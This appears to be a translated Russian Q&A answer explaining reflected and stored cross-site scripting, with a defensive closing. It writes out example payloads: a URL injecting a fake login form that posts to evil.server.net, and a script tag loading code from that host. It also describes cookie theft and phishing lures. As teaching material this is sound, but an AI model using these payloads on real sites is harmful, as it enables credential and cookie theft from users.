Я не понимаю, как JS / VBscript может нанести такой большой ущерб!
Хорошо.Предположим, у вас есть сайт, и сайт обслуживается с http://trusted.server.com/thesite.Допустим, у этого сайта есть окно поиска, и при поиске URL-адрес становится следующим: http://trusted.server.com/thesite?query=somesearchstring.
Если сайт решает не обрабатывать строку поиска и выводит ее в результате, например, «Вы ищете» somesearchstring"ничего не дало, тогда любой может ввести произвольный html на сайт. Например:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
Так что в этом случае сайт покорно покажет поддельную форму входа на странице результатов поиска.и, если пользователь отправит его, он отправит данные на злой ненадежный сервер. Но пользователь этого не видит, особенно если URL очень длинный, он просто увидит первое, но и предположит, что имеет дело сtrusted.server.com.
Варианты этого включают внедрение тега <script>, который добавляет обработчики событий в документ для отслеживания действий пользователя или отправку файла cookie документа на злой сервер. Таким образом, вы можете надеятьсянатолкнуться на конфиденциальные данные, такие как логин, пароль или данные кредитной карты, или вы можете попробовать вставить специально стилизованный <iframe>, который занимает весьЭто окно и обслуживает сайт, который выглядит как оригинал, но на самом деле происходит от evil.server.com.Пока пользователь обманут в использовании введенного содержимого вместо оригинального, безопасность подвергается риску.
Этот тип XSS называется отражающим и непостоянным.Рефлексивный, потому что URL-адрес «освобождается» непосредственно в ответе, и непостоянный, потому что реальный сайт не изменяется - он просто служит проходом.Обратите внимание, что что-то вроде https здесь не обеспечивает никакой защиты - сам сайт не работает, потому что он блокирует ввод пользователя через строку запроса.
Теперь хитрость заключается в том, чтобы заставить ничего не подозревающих пользователей доверять любым ссылкам, которые вы им предоставляете.Например, вы можете отправить им электронное письмо в формате HTML и включить привлекательную ссылку, которая указывает на поддельный URL.Или, возможно, вы можете распространять его на вики, форумах и т. Д. Я уверен, что вы можете оценить, насколько это просто на самом деле - это просто ссылка, что может пойти не так, не так ли?
Иногда это может быть хуже.Некоторые сайты на самом деле хранят пользовательский контент.Простой пример: комментарии в блоге или темы на форуме.Или это может быть более тонким: страница профиля пользователя в социальной сети.Если эти страницы допускают произвольный html, особенносценарий, и этот предоставленный пользователем HTML хранится и воспроизводится, то все, кто просто посещает страницу, которая содержит этот контент, находится в опасности.Это постоянный XSS.Теперь пользователям даже не нужно больше нажимать на ссылку, достаточно просто зайти.Опять же, настоящая атака состоит в изменении страницы с помощью скрипта для сбора пользовательских данных.
Внедрение скрипта может быть тупым, например, можно вставить полный <script src="http://evil.server.net/script.js"> или может быть тонким: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.
Что касается того, как защитить себя: ключ в том, чтобы никогда не выводить пользовательский ввод.Это может быть сложно, если ваш сайт вращается вокруг предоставленного пользователем контента с разметкой.